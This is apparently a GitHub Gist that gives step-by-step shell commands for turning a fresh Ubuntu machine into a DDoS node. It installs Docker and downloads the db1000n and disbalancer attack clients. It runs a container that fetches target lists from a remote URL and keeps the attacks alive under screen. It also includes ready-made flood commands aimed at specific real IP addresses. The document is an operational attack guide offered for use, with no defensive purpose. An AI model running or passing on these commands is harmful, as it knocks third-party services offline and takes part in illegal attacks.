Last active
April 6, 2022 02:04
-
-
Save eagleeye/a345ecc23454eb0ae4b97f6cf4f2870d to your computer and use it in GitHub Desktop.
How to setup fresh Ubuntu machine for DDOS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### I. Setup | |
apt-get install -y \ | |
ca-certificates \ | |
curl \ | |
gnupg \ | |
lsb-release \ | |
&& curl -fsSL https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg \ | |
&& echo \ | |
"deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \ | |
$(lsb_release -cs) stable" | tee /etc/apt/sources.list.d/docker.list > /dev/null \ | |
&& apt-get update \ | |
&& apt-get install -y docker-ce docker-ce-cli containerd.io wget screen \ | |
&& wget https://github.com/Arriven/db1000n/releases/download/v0.6.5/db1000n-v0.6.5-linux-amd64.tar.gz \ | |
&& tar -xzvf db1000n-v0.6.5-linux-amd64.tar.gz \ | |
&& wget https://github.com/disbalancer-project/main/releases/download/v0.0.6/disbalancer-go-client-linux-amd64 \ | |
&& chmod a+x disbalancer-go-client-linux-amd64 \ | |
&& sudo groupadd docker || true \ | |
&& sudo usermod -aG docker $USER \ | |
&& newgrp docker | |
### One of next tools | |
##Centralized tools | |
docker pull archdev/gloryforukraine:latest && docker run --env SCHEDULED_TARGETS_URL=https://gloryforukraine.pages.dev/scheduled_targets.json --env PARALLEL_FACTOR=5 --cpus=".7" --rm -it archdev/gloryforukraine:latest | |
./launcher-disbalancer-go-client-linux-amd64 | |
./db1000n | |
## b)One time atttack examples | |
docker run -ti --rm alpine/bombardier -c 100 -d 100000s -l http://178.248.233.231 | |
docker run -it --rm alexmon1989/dripper:1.0.1 -s 178.248.233.188 -p 80 -t 1000 | |
### III. In order to not stop the process, when you disconnect from remote machine - use screen, for example: | |
screen #opens new terminal in screen | |
./db1000n #launch db1000n ddos tool | |
Ctrl+a+c #opens new terminal | |
./disbalancer-go-client-linux-amd64 #launch disbalancer ddos tool | |
Ctrl+a+c #opens new terminal | |
docker pull archdev/gloryforukraine:latest && docker run --env SCHEDULED_TARGETS_URL=https://gloryforukraine.pages.dev/scheduled_targets.json --env PARALLEL_FACTOR=5 --cpus=".7" --rm -it archdev/gloryforukraine:latest | |
#Starts gloryforukraine ddos tool | |
Ctrl+a+d #detach from screen | |
#Now you are in your main termianl | |
screen -r # to reattach to last active screen session |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment